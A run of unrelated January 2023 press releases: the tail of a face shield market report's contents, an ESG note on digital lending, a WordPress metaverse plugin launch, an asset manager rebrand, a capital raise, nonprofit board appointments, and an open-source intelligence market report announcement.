Exhibit 17: Data Table on Global Market: Year-over-year growth 2022-2027 (%)

4 Historic Market Size

4.1 Global face shield market 2017 - 2021

Exhibit 18: Historic Market Size  Data Table on Global face shield market 2017 - 2021 ($ million)

4.2 End-user Segment Analysis 2017 - 2021

Exhibit 19: Historic Market Size  End-user Segment 2017 - 2021 ($ million)

4.3 Deployment Segment Analysis 2017 - 2021

Exhibit 20: Historic Market Size  Deployment Segment 2017 - 2021 ($ million)

4.4 Geography Segment Analysis 2017 - 2021

Exhibit 21: Historic Market Size  Geography Segment 2017 - 2021 ($ million)

4.5 Country Segment Analysis 2017 - 2021

Exhibit 22: Historic Market Size  Country Segment 2017 - 2021 ($ million)

5 Five Forces Analysis

5.1 Five forces summary

Exhibit 23: Five forces analysis - Comparison between 2022 and 2027

5.2 Bargaining power of buyers

Exhibit 24: Chart on Bargaining power of buyers  Impact of key factors 2022 and 2027

5.3 Bargaining power of suppliers

Exhibit 25: Bargaining power of suppliers  Impact of key factors in 2022 and 2027

5.4 Threat of new entrants

Exhibit 26: Threat of new entrants  Impact of key factors in 2022 and 2027

5.5 Threat of substitutes

Exhibit 27: Threat of substitutes  Impact of key factors in 2022 and 2027

5.6 Threat of rivalry

Exhibit 28: Threat of rivalry  Impact of key factors in 2022 and 2027

5.7 Market condition

Exhibit 29: Chart on Market condition - Five forces 2022 and 2027

6 Market Segmentation by End-user

6.1 Market segments

Exhibit 30: Chart on End-user - Market share 2022-2027 (%)



Exhibit 31: Data Table on End-user - Market share 2022-2027 (%)

6.2 Comparison by End-user

Exhibit 32: Chart on Comparison by End-user



Exhibit 33: Data Table on Comparison by End-user

6.3 Healthcare - Market size and forecast 2022-2027

Exhibit 34: Chart on Healthcare - Market size and forecast 2022-2027 ($ million)



Exhibit 35: Data Table on Healthcare - Market size and forecast 2022-2027 ($ million)



Exhibit 36: Chart on Healthcare - Year-over-year growth 2022-2027 (%)



Exhibit 37: Data Table on Healthcare - Year-over-year growth 2022-2027 (%)

6.4 Industrial manufacturing - Market size and forecast 2022-2027

Exhibit 38: Chart on Industrial manufacturing - Market size and forecast 2022-2027 ($ million)



Exhibit 39: Data Table on Industrial manufacturing - Market size and forecast 2022-2027 ($ million)



Exhibit 40: Chart on Industrial manufacturing - Year-over-year growth 2022-2027 (%)



Exhibit 41: Data Table on Industrial manufacturing - Year-over-year growth 2022-2027 (%)

6.5 Construction - Market size and forecast 2022-2027

Exhibit 42: Chart on Construction - Market size and forecast 2022-2027 ($ million)



Exhibit 43: Data Table on Construction - Market size and forecast 2022-2027 ($ million)



Exhibit 44: Chart on Construction - Year-over-year growth 2022-2027 (%)



Exhibit 45: Data Table on Construction - Year-over-year growth 2022-2027 (%)

6.6 Others - Market size and forecast 2022-2027

Exhibit 46: Chart on Others - Market size and forecast 2022-2027 ($ million)



Exhibit 47: Data Table on Others - Market size and forecast 2022-2027 ($ million)



Exhibit 48: Chart on Others - Year-over-year growth 2022-2027 (%)



Exhibit 49: Data Table on Others - Year-over-year growth 2022-2027 (%)

6.7 Market opportunity by End-user

Exhibit 50: Market opportunity by End-user ($ million)

7 Market Segmentation by Type

7.1 Market segments

Exhibit 51: Chart on Type - Market share 2022-2027 (%)



Exhibit 52: Data Table on Type - Market share 2022-2027 (%)

7.2 Comparison by Type

Exhibit 53: Chart on Comparison by Type



Exhibit 54: Data Table on Comparison by Type

7.3 Full-face shield - Market size and forecast 2022-2027

Exhibit 55: Chart on Full-face shield - Market size and forecast 2022-2027 ($ million)



Exhibit 56: Data Table on Full-face shield - Market size and forecast 2022-2027 ($ million)



Exhibit 57: Chart on Full-face shield - Year-over-year growth 2022-2027 (%)



Exhibit 58: Data Table on Full-face shield - Year-over-year growth 2022-2027 (%)

7.4 Half-face shield - Market size and forecast 2022-2027

Exhibit 59: Chart on Half-face shield - Market size and forecast 2022-2027 ($ million)



Exhibit 60: Data Table on Half-face shield - Market size and forecast 2022-2027 ($ million)



Exhibit 61: Chart on Half-face shield - Year-over-year growth 2022-2027 (%)



Exhibit 62: Data Table on Half-face shield - Year-over-year growth 2022-2027 (%)

7.5 Market opportunity by Type

Exhibit 63: Market opportunity by Type ($ million)

8 Customer Landscape

8.1 Customer landscape overview

Exhibit 64: Analysis of price sensitivity, lifecycle, customer purchase basket, adoption rates, and purchase criteria

9 Geographic Landscape

9.1 Geographic segmentation

Exhibit 65: Chart on Market share by geography 2022-2027 (%)



Exhibit 66: Data Table on Market share by geography 2022-2027 (%)

9.2 Geographic comparison

Exhibit 67: Chart on Geographic comparison



Exhibit 68: Data Table on Geographic comparison

9.3 North America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 69: Chart on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 70: Data Table on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 71: Chart on North America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 72: Data Table on North America - Year-over-year growth 2022-2027 (%)

9.4 Europe - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 73: Chart on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 74: Data Table on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 75: Chart on Europe - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 76: Data Table on Europe - Year-over-year growth 2022-2027 (%)

9.5 APAC - Market size and forecast 2022-2027

Exhibit 77: Chart on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 78: Data Table on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 79: Chart on APAC - Year-over-year growth 2022-2027 (%)



Exhibit 80: Data Table on APAC - Year-over-year growth 2022-2027 (%)

9.6 Middle East and Africa - Market size and forecast 2022-2027

and - Market size and forecast 2022-2027 Exhibit 81: Chart on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 82: Data Table on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 83: Chart on Middle East and Africa - Year-over-year growth 2022-2027 (%)

and - Year-over-year growth 2022-2027 (%)

Exhibit 84: Data Table on Middle East and Africa - Year-over-year growth 2022-2027 (%)

9.7 South America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 85: Chart on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 86: Data Table on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 87: Chart on South America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 88: Data Table on South America - Year-over-year growth 2022-2027 (%)

9.8 US - Market size and forecast 2022-2027

Exhibit 89: Chart on US - Market size and forecast 2022-2027 ($ million)



Exhibit 90: Data Table on US - Market size and forecast 2022-2027 ($ million)



Exhibit 91: Chart on US - Year-over-year growth 2022-2027 (%)



Exhibit 92: Data Table on US - Year-over-year growth 2022-2027 (%)

9.9 China - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 93: Chart on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 94: Data Table on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 95: Chart on China - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 96: Data Table on China - Year-over-year growth 2022-2027 (%)

9.10 Germany - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 97: Chart on Germany - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 98: Data Table on Germany - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 99: Chart on Germany - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 100: Data Table on Germany - Year-over-year growth 2022-2027 (%)

9.11 Japan - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 101: Chart on Japan - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 102: Data Table on Japan - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 103: Chart on Japan - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 104: Data Table on Japan - Year-over-year growth 2022-2027 (%)

9.12 UK - Market size and forecast 2022-2027

Exhibit 105: Chart on UK - Market size and forecast 2022-2027 ($ million)



Exhibit 106: Data Table on UK - Market size and forecast 2022-2027 ($ million)



Exhibit 107: Chart on UK - Year-over-year growth 2022-2027 (%)



Exhibit 108: Data Table on UK - Year-over-year growth 2022-2027 (%)

9.13 Market opportunity by geography

Exhibit 109: Market opportunity by geography ($ million)

10 Drivers, Challenges, and Trends

10.1 Market drivers

10.2 Market challenges

10.3 Impact of drivers and challenges

Exhibit 110: Impact of drivers and challenges in 2022 and 2027

10.4 Market trends

11 Vendor Landscape

11.1 Overview

11.2 Vendor landscape

Exhibit 111: Overview on Criticality of inputs and Factors of differentiation

11.3 Landscape disruption

Exhibit 112: Overview on factors of disruption

11.4 Industry risks

Exhibit 113: Impact of key risks on business

12 Vendor Analysis

12.1 Vendors covered

Exhibit 114: Vendors covered

12.2 Market positioning of vendors

Exhibit 115: Matrix on vendor position and classification

12.3 3M Co.

Co. Exhibit 116: 3M Co. - Overview

Co. - Overview

Exhibit 117: 3M Co. - Business segments

Co. - Business segments

Exhibit 118: 3M Co. - Key offerings

Co. - Key offerings

Exhibit 119: 3M Co. - Segment focus

12.4 Alpha Pro Tech Ltd.

Exhibit 120: Alpha Pro Tech Ltd. - Overview



Exhibit 121: Alpha Pro Tech Ltd. - Business segments



Exhibit 122: Alpha Pro Tech Ltd. - Key offerings



Exhibit 123: Alpha Pro Tech Ltd. - Segment focus

12.5 Bei BeI Safety Co. Ltd.

Exhibit 124: Bei BeI Safety Co. Ltd. - Overview



Exhibit 125: Bei BeI Safety Co. Ltd. - Product / Service



Exhibit 126: Bei BeI Safety Co. Ltd. - Key offerings

12.6 CIGWELD Pty Ltd.

Exhibit 127: CIGWELD Pty Ltd. - Overview



Exhibit 128: CIGWELD Pty Ltd. - Product / Service



Exhibit 129: CIGWELD Pty Ltd. - Key offerings

12.7 Dou Yee Enterprises S Pte Ltd.

Exhibit 130: Dou Yee Enterprises S Pte Ltd. - Overview



Exhibit 131: Dou Yee Enterprises S Pte Ltd. - Product / Service



Exhibit 132: Dou Yee Enterprises S Pte Ltd. - Key offerings

12.8 Honeywell International Inc.

Exhibit 133: Honeywell International Inc. - Overview



Exhibit 134: Honeywell International Inc. - Business segments



Exhibit 135: Honeywell International Inc. - Key news



Exhibit 136: Honeywell International Inc. - Key offerings



Exhibit 137: Honeywell International Inc. - Segment focus

12.9 JSP Ltd.

Exhibit 138: JSP Ltd. - Overview



Exhibit 139: JSP Ltd. - Product / Service



Exhibit 140: JSP Ltd. - Key offerings

12.10 Merck KGaA

Exhibit 141: Merck KGaA - Overview



Exhibit 142: Merck KGaA - Business segments



Exhibit 143: Merck KGaA - Key news



Exhibit 144: Merck KGaA - Key offerings



Exhibit 145: Merck KGaA - Segment focus

12.11 MSA Safety Inc.

Exhibit 146: MSA Safety Inc. - Overview



Exhibit 147: MSA Safety Inc. - Business segments



Exhibit 148: MSA Safety Inc. - Key offerings



Exhibit 149: MSA Safety Inc. - Segment focus

12.12 PETZL Distribution

Exhibit 150: PETZL Distribution - Overview



Exhibit 151: PETZL Distribution - Product / Service



Exhibit 152: PETZL Distribution - Key offerings

12.13 Productos Climax SA

Exhibit 153: Productos Climax SA - Overview



Exhibit 154: Productos Climax SA - Product / Service



Exhibit 155: Productos Climax SA - Key offerings

12.14 PROTECT Laserschutz GmbH

Exhibit 156: PROTECT Laserschutz GmbH - Overview



Exhibit 157: PROTECT Laserschutz GmbH - Product / Service



Exhibit 158: PROTECT Laserschutz GmbH - Key offerings

12.15 Radians Inc.

Exhibit 159: Radians Inc. - Overview



Exhibit 160: Radians Inc. - Product / Service



Exhibit 161: Radians Inc. - Key offerings

12.16 STERIS Plc

Exhibit 162: STERIS Plc - Overview



Exhibit 163: STERIS Plc - Business segments



Exhibit 164: STERIS Plc - Key news



Exhibit 165: STERIS Plc - Key offerings



Exhibit 166: STERIS Plc - Segment focus

12.17 Univet Srl

Exhibit 167: Univet Srl - Overview



Exhibit 168: Univet Srl - Product / Service



Exhibit 169: Univet Srl - Key offerings

13 Appendix

13.1 Scope of the report

13.2 Inclusions and exclusions checklist

Exhibit 170: Inclusions checklist



Exhibit 171: Exclusions checklist

13.3 Currency conversion rates for US$

Exhibit 172: Currency conversion rates for US$

13.4 Research methodology

Exhibit 173: Research methodology



Exhibit 174: Validation techniques employed for market sizing



Exhibit 175: Information sources

13.5 List of abbreviations

Exhibit 176: List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provide actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

Contact

Technavio Research

Jesse Maida

Media & Marketing Executive

US: +1 844 364 1100

UK: +44 203 893 3200

Email: [email protected]

Website: www.technavio.com/

SOURCE Technavio
SAN FRANCISCO, Jan. 23, 2023 /PRNewswire/ -- Fintech companies, banks and non-banking financial players have exhibited traction for digital lending to streamline seamless loan disbursement, approval, recovery, credit assessment and other credit services through remote and automated lending processes. On the heels of the COVID-19 pandemic, banks are scampering to play their part in the environmental, social and governance concerns. In a bid to help transpire a greener, transparent and resilient world, digitization of the lending process could bring a tectonic shift, such as enhanced customer experience, and better decision-making. Prominently, an uptick in collaboration between investors and firms taking ESG into account has provided an impetus to banks and fintech players.

Digital lending has added a fillip to financial inclusion, particularly assisting borrowers who may not reap benefits from formal finance sources. Banks are exploring opportunities in ramping up and automating credit processing, including digital lending and imbibing ESG considerations into lending decisions. The trend for end-to-end e-invoicing and payment solutions to help businesses with easy digital transactions has become pronounced among fintech and banks. Giving and recovering loans through apps and web platforms have become popular. A surge in mobile money accounts has expedited the advanced financial services that can reduce cost, boost transparency and streamline services. However, the prevalence of micro-financial risks and chances of spillovers to the economy have warranted regulation. In September 2022, the Reserve Bank of India issued guidelines on digital lending and emphasized that regulated entities should ensure the lending service providers and digital lending apps adhere to the guidelines mentioned in the circular.

Discover more regarding the practices and strategies being implemented by industry participants in the Digital Lending Industry ESG Thematic Report, 2023, published by Astra ESG Solutions

Investors are likely to prioritize environmentally sustainable strategies amidst a data-led credit process gaining ground globally.

Environmental Perspective

The need for an organic financial model that is in line with the environmental paradigm has become paramount for an organization to be truly sustainable. At a time when fintech lenders are navigating opportunities in state-of-the-art technologies, including AI and machine learning, investments in environmental pillar could give them an edge in the competitive ecosystem. For instance, ICE Mortgage Technology is committed to a 50% reduction in scope 1 and 2 emissions by 2032. It has also implemented data center air management, optimal thermal stratification, automated lighting control systems, and high-efficiency HVAC facilities, playing a vital role in its Power Usage Effectiveness (PUE) outperforming the base building design by around 14%. The company has also purchased renewable energy credits for electricity consumption in data centers and offices. A bullish approach towards sustainability will foster their brand position in the global landscape.

Social Perspective

Of late, an inclusive financial ecosystem has come on the horizon for social progress with access to borrowing and capital opportunities. Companies are offering competitive and comprehensive upsides to foster employees' well-being, health, financial security, diversity, and inclusion. In essence, Fiserv has formed a solid partnership with Black colleges and universities and the National Black MBA Association in the U.S. In 2021, the Fiserv Back2Business initiative augmented its commitment to USD 50 million which initially stood at USD 10 million for minority-owned small businesses affected by the COVID-19 outbreak. Furthermore, the company has invested in workforce diversity as it asserts that 34% of employees are diverse in race or ethnicity. Companies have increased banking on social strategies as an integrated part of their business process.

Get more insights about how key industry participants like Ellie Mae, Inc., FIS; Fiserv, Inc., Newgen Software, Nucleus Software are identifying, analyzing and mitigating ESG risks and ensuring compliance

Governance Perspective

Fintechs and banks have been championing the significance of ESG for the sustainability of the business. Assessment of ESG-related opportunities and trends has largely been fueled by the governance aspect. The operation of companies in an ethical manner to dissuade corruption and bribery has become pronounced. Notably, Newgen Software has furthered its commitment to a high level of transparency, accountability and integrity. With a two-tier governance model, the company comprised 7 directors (as of March 31st 2021), out of which 4 directors were non-executive directors (independent), while three were executive directors. The Board has prioritized innovations in business strategies, diversity, strategic planning and analysis and compliance requirements for transparency, accountability, and safeguard of shareholder interest. Given the risk of a data breach, stakeholders have also emphasized risk management to provide state-of-the-art security of operations and curb business disruptions.

Is your business one of participants to the Global Digital Lending Industry? Contact us for focused consultation around ESG Investing, and help you build sustainable business practices

Concerted efforts in risk oversight, business strategy, succession planning, ESG and financial reporting could provide an edge to key players. The digital lending market size stood at USD 5.84 billion in 2021 and could register an impressive CAGR of 25.9% from 2022 through 2030. Strong demand for quick access to working capital for daily operations will provide impetus to the growth of the advanced lending process.

Browse more ESG Thematic Reports from the Technology Sector, published by Astra - ESG Solutions

Key Aspects of the Digital Lending Industry ESG Thematic Report

Offers a global perspective of the digital lending industry and the policies and measures taken by the players, for overcoming the challenges faced in terms of Environment, Social and Governance.

Key insights into the sustainability practices of major players in the market.

About Astra  ESG Solutions by Grand View Research

Astra is the Environmental, Social, and Governance (ESG) arm of Grand View Research Inc. - a global market research publishing & management consulting firm.

Astra offers comprehensive ESG thematic assessment & scores across diverse impact & socially responsible investment topics, including both public and private companies along with intuitive dashboards. Our ESG solutions are powered by robust fundamental & alternative information. Astra specializes in consulting services that equip corporates and the investment community with the in-depth ESG research and actionable insight they need to support their bottom lines and their values. We have supported our clients across diverse ESG consulting projects & advisory services, including climate strategies & assessment, ESG benchmarking, stakeholder engagement programs, active ownership, developing ESG investment strategies, ESG data services, build corporate sustainability reports. Astra team includes a pool of industry experts and ESG enthusiasts who possess extensive end-end ESG research and consulting experience at a global level.

For more ESG Thematic reports, please visit Astra ESG Solutions, powered by Grand View Research

Need expert consultation around identifying, analyzing and creating a plan to mitigate ESG risks related to your business? Share your concerns and queries, we can help!

Contact:

Michelle

Sales Specialist, USA

Astra ESG Solutions - Powered by Grand View Research, Inc.

Phone: 1-415-349-0058

Toll Free: 1-888-202-9519

Web: https://astra.grandviewresearch.com/

Email: [email protected]

LinkedIn: https://www.linkedin.com/company/astra-esg-solutions/

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SOURCE Grand View Research, Inc
New Croquet Plugin Deploys Multiuser, Social, 3D Metaverse Worlds in Any WordPress Site with Collaborative Browsing and Spatial Audio Conversations among Site Visitors

LOS ANGELES, Jan. 24, 2023 /PRNewswire/ -- Croquet Corporation, provider of Croquet OS, the Operating System for the Open Metaverse, announced today a WordPress Plugin that allows developers to deploy 3D immersive, multiuser Metaverse worlds in any WordPress website or blog. Croquet Metaverse Web Showcase is free, no-code, easy to use and gives anyone using WordPress a quick and easy way to engage customers and visitors in a fully immersive, multiuser, social 3D world in less than five minutes. Web Showcase launched in December 2022 and quickly rose to the #1 spot on Product Hunt, the leading technology review forum.

Available today in the official WordPress Plugin Directory, Web Showcase enhances existing 2D websites, which typically depend upon scrolling and menu navigation, with an immersive environment that lets site visitors move freely throughout a showcase gallery to learn about the business while remaining interoperable to the existing site navigation. The result is significantly increased engagement by site visitors and an enormous new dimension in functionality.

Web Showcase is perfect for small business WordPress users such as agencies, consultants, non-profits, web developers, photographers or designers looking to create dynamic and unique experiences for site visitors. It provides a rich, highly interactive capabilities showcase that is highly customizable and displays company presentations, video testimonials, customer references and more, all in a social, multiuser immersive space. Web Showcase can be extended by brands and agencies to enable highly social in-site activations, games and promotions, improve engagement, dramatically enhance site experience and increase customer support and satisfaction while keeping customers close to home and not sending them away to 3rd party platforms.

Examples of small businesses utilizing Web Showcase include JJA Recruiting firm, Zach Fox Photography, and the publication Metaverse Professional.

Web Showcase site visitors can easily invite friends and colleagues to join them via text message, email, Slack or any other DM channel to collaboratively browse the space and converse using Dolby.io Spatial Audio Chat. Bloggers can add an immersive world to a blog post, making it even more social by inviting readers to come together for live audio discussion in a customized Metaverse gallery. It is cross-platform and can be accessed by any Internet device regardless of operating system, including desktops, tablets, phones and VR headsets.

"The web is the Metaverse and it will rapidly become multiuser and immersive," said David A. Smith, founder and CTO of Croquet. "WordPress powers the web with 65.1% of all websites that use CMS technology(1). We will see the web evolve quickly as these websites deploy immersive multiuser technology to serve new and existing customers and facilitate ecommerce."

Web Showcase is built on Croquet OS, the only operating system for the Open Metaverse, using Croquet's open source Microverse World Builder. Developers and brands can extend Web Showcase, building completely customized spaces, promotions, ecommerce, games, interoperable portals and Ready Player Me(R) avatars using World Builder and a free developer API key from croquet.io. Microverse developers can use WordPress Plugins to distribute customized worlds, experiences, games and other activations they create with World Builder to hundreds of millions of websites and blogs.

Croquet worlds are part of the Open Metaverse and can be published to any web server, including within brand web properties, using this new WordPress Plugin, with full access to the entire ecosystem of the web including conventional payment, login and security systems and Web3 services. This Plugin and the basic version of Web Showcase are free to acquire and use. Croquet offers Croquet OS multiuser, low latency Metaverse infrastructure plus enhanced products and development environments for larger deployments which are priced based upon engagement.

Croquet offers a Partner Program with special support for WordPress hosts, agencies and web development shops. For more information, contact [email protected].

About Croquet

The web is the Metaverse and Croquet Corporation is on a mission to enable the rapid Metaverse evolution of more than 200,000,000 active websites with Croquet OS, its web standards based open operating system for the Metaverse. Based on browser technologies that are cross platform to any device, it delivers interoperable virtual worlds on the Metaverse that can be published in any website or blog and be accessed today by hundreds of millions of Internet and mobile users. Croquet was awarded the leading Auggie Award at the AWE Conference in May of 2022 as "Startup to Watch" out of 100+ companies. The company was formed in 2018 and is funded by SIP Global Partners and a group of experienced technology and financial industry veterans. Visit www.croquet.io .

(1) Data according to WTechs 2022

SOURCE Croquet
MINNEAPOLIS, Jan. 24, 2023 /PRNewswire/ -- Deepwater Asset Management, a growth investment firm, today announced a range of new funds and introduced a new brand.

Deepwater now manages a long-only growth fund, a public-private hybrid fund, a series of venture funds, a frontier tech index, and separately managed accounts. Deepwater offers its investment products directly to qualified investors as well as through RIAs and other partners.

Gene Munster-led firm announces a range of new funds and introduces a new brand: Deepwater Asset Management Tweet this

"For more than two decades, our team has focused on investing in tech-driven growth stories. We believe investments in persistent growth with a respect for valuation are critical as change in the world accelerates," said Deepwater co-founder and managing partner, Gene Munster. "These new funds deliver on our mission: Profit from where the world is going."

The firm recently added a fourth managing partner, Joe Robillard, who previously served as partner and chief investment officer at HHR Asset Management since 2002. Robillard brings 30 years of experience as a growth investment portfolio manager to Deepwater. He joins the rest of the Deepwater team to build on a 20-year partnership.

The firm also introduced a new name and brand: Deepwater Asset Management. "We're thrilled to elevate our brand from Loup to Deepwater to align our identity with our strategy as a multi-product asset management firm," said Munster. "We're known for thoughtful investing based on deep insights. Deepwater reflects who we are, what we do, and how we operate."

About Deepwater Asset Management, LLC

Headquartered in Minneapolis, Minnesota, Deepwater Asset Management manages equity investment funds across the growth spectrum in public and private markets. Deepwater is led by Gene Munster, Joe Robillard, Doug Clinton, and Andrew Murphy, who share over 80 years of combined experience investing in growth companies.

Visit deepwatermgmt.com for more information or contact:

[email protected]

612-865-0578

SOURCE Deepwater Asset Management
MINNEAPOLIS, Jan. 24, 2023 /PRNewswire/ -- Genuine Marketing Group Inc. (OTC: GMGZ) announces the commencement of its 15-million-dollar capital raise and the engagement of Business Optimization Group and Owen Carhart to lead the funding round. Bolstering GMGs growth strategy and further development and activation of its product authentication system ZPTAG, the raise is the next step in the company's mission to authenticate products at the point of purchase for the end user and consumer.

Business Optimization Group, LLC is a boutique business consulting firm located in Miami Beach, FL. It engages with companies for strategic planning, capital raising, business planning and development, and operational and financial support services. Its' founder, Owen Carhart, is an accomplished entrepreneur with a multifaceted business background in an array of industries. Business Optimization Group has been formally engaged with GMG Inc for several months and will continue to lead and assist the company in efforts to achieve its capital objectives.

"Upon initial contact with GMG concerning their fundraising requirements for a remarkable new software platform, it quickly became apparent that this was a one-of-a-kind opportunity with substantial world impact," declared Owen Carhart of Business Optimization Group. "We are thrilled to be collaborating with this pioneering Blockchain firm and introducing ZPTAG to GMG patrons globally."

Genuine Marketing Group CEO, Chuck Chastain stated, "GMG continues to align with professionals who can both accelerate and amplify our goal to protect consumers and bring value to our brand partners. Owen and Business Optimization Group are a perfect fit for our capital raise initiatives and bring a host of other benefits to our multiple verticals of growth. We look forward to the completion of this raise and much more together."

Genuine Marketing Group Inc. or GMG is a retail and consumer focused marketing company that creates brand affinity and builds consumer confidence through its proprietary authentication system, ZPTAG. Combining the user-friendly engagement of a smartphone app with the smart contracts of the IBM blockchain.

Business Optimization Group, LLC is a boutique business consulting firm located in Miami Beach, FL. It engages with companies for strategic planning, capital raising, business planning and development, and operational and financial support services. Business Optimization Group can be contacted by emailing [email protected] or calling 305-981-6738. "

More information about Genuine Marketing Group Inc. can be found at https://genuinemarketinggroup.com/

Contact: Greg Needham

Email: [email protected]

This press release contains information that constitutes forward-looking statements made pursuant to the safe harbor provisions of the Private Securities Litigation Reform Act of 1995. Any such forward-looking statements involve risks and uncertainties that could cause actual results to differ materially from any future results described within the forward-looking statements. The forward-looking information provided herein represents the Company's estimates as of the date of the press release, and subsequent events and developments may cause the Company's estimates to change. The Company specifically disclaims any obligation to update the forward-looking information in the future. Therefore, this forward-looking information should not be relied upon as representing the Company's estimates of its future financial performance as of any date subsequent to the date of this press release.

SOURCE Genuine Marketing Group Inc.
The new members will support the five-year-old organization, incorporated as an independent nonprofit in 2022, through the next period of growth.

SEATTLE, Jan. 24, 2023 /PRNewswire/ -- Giving Compass today announced the addition of three new members - Brandolon Barnett, Dien Yuen, and Kim Laughton - to its board of directors. The new board members bring a diversity of skills, backgrounds, and expertise that align with Giving Compass' values and priorities and help the nonprofit deliver on its mission. Their leadership will also help forge and strengthen partnerships in the financial services, advisory, and technology solutions industries.

"We are delighted to have the wisdom, skills, and thoughtfulness of these three leaders with us as we step into the next stage of our work," said Stephanie Gillis, on behalf of the Giving Compass board. "With their support, Giving Compass Network can continue to expand upon its quest to support donors to give in ways that align with community priorities and get to greater impact."

Brandolon Barnett is an author, speaker, angel investor, local elected official, and tech entrepreneur. He is currently the Chief Product Officer for Humanitas.ai as well as the Founder of The Regular, a social enterprise based in Washington, DC. As an elected Advisory Neighborhood Commissioner in the nation's capital, he represents 2,200 constituents in the District's equivalent of a state house.

"I've spent a lifetime, and endured a lot of tragedy and adversity, learning how I can make an impact and give back," said Barnett. "I'm excited to be part of an organization that's dedicated to making that journey easier for everyone, everywhere."

Dien Yuen JD/LLM, CAP, AEP, is the Executive Director at the Center for Philanthropy and Social Impact at The American College of Financial Services and Blunt-Nickel Professor in Philanthropy. She works with practitioners in the field to develop multi-disciplinary ideas to advance social change. Within the Center, Yuen oversees Purpose School, a program for leaders exploring the intersections of purpose and social impact, and the Advisors of Color in Philanthropy Network, a movement to bring diversity into the philanthropic advising field.

"After 30 years of working in philanthropy and social impact as an advisor and educator, I have seen the transformative power of equity-centered initiatives locally and internationally," Yuen said.

Kim Laughton is the former president of Schwab Charitable, a nonprofit, donor-advised fund provider. Kim has been recognized by the San Francisco Business Times as one of the most influential women in Bay Area business. She has served on the boards of the Educational Foundation of Orinda and Students Rising Above.

"As President of Schwab Charitable focused on making it easier for investors to give, I was struck by how difficult many find the process of deciding which causes to support and where to give and have impact," Laughton said. "I believe that financial services institutions, wealth managers, and investment advisors will never find it a priority to develop these tools and resources themselves and would prefer to invest to make a common resource like Giving Compass an industry standard."

The three new board members join co-founders Jeff Raikes and Larry Leibowitz and senior advisor Stephanie Fuerstner Gillis.

About Giving Compass

Giving Compass is a one-stop shop to help individual donors learn about issues, get involved, and give to community-led change. Driven by the principles of impact-driven philanthropy, we guide donors toward practices that advance equity and address the root causes of society's issues.

Media Contact:

Gypsy Walukones

Integrated Marketing Manager

[email protected]

(971) 717-2398

www.givingcompass.org

SOURCE Giving Compass
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "Open Source Intelligence Market: Global Industry Trends, Share, Size, Growth, Opportunity and Forecast 2022-2027" report has been added to ResearchAndMarkets.com's offering.

The global open source intelligence market size reached US$ 8.27 Billion in 2021. Looking forward, the publisher expects the market to reach US$ 28.42 Billion by 2027, exhibiting a CAGR of 22.84% during 2021-2027.

Keeping in mind the uncertainties of COVID-19, we are continuously tracking and evaluating the direct as well as the indirect influence of the pandemic on different end use sectors. These insights are included in the report as a major market contributor.



Open source intelligence (OSINT) is the process of identifying, gathering, processing, analyzing, and reporting data from publicly available sources. It comprises all the offline or online information that is publicly available, whether free of cost, purchasable, or obtainable by request.

It is used to discover publicly available assets of organizations for testing a computer system, network, and cybersecurity of web applications and securing the data. It is also employed to optimize operations security (OPSEC) and reveal critical information or sensitive data. In addition, it is highly cost-effective and offers a greater return on investment (ROI) compared to traditional information collecting tools.



At present, the growing demand for data gathering from publicly available sources to gain crucial business insights represents one of the key factors driving the market. Besides this, there is a rise in the utilization of OSINT in organizations to understand various strategies adopted by rival firms and take countermeasures across the globe.

This, along with the rising awareness among the masses about the benefits of OSINT, is contributing to the growth of the market. In addition, the increasing demand for OSINT in cyber intelligence to track the digital footprints of criminals for reducing terrorism and cyber threats is propelling the growth of the market.

Moreover, the growing number of cyber attacks to steal and copy sensitive data across the globe is positively influencing the market. Apart from this, rapid advancements in big data processing and data analytics to extract useful information for supporting and providing decisions to businesses are offering lucrative growth opportunities to industry investors.

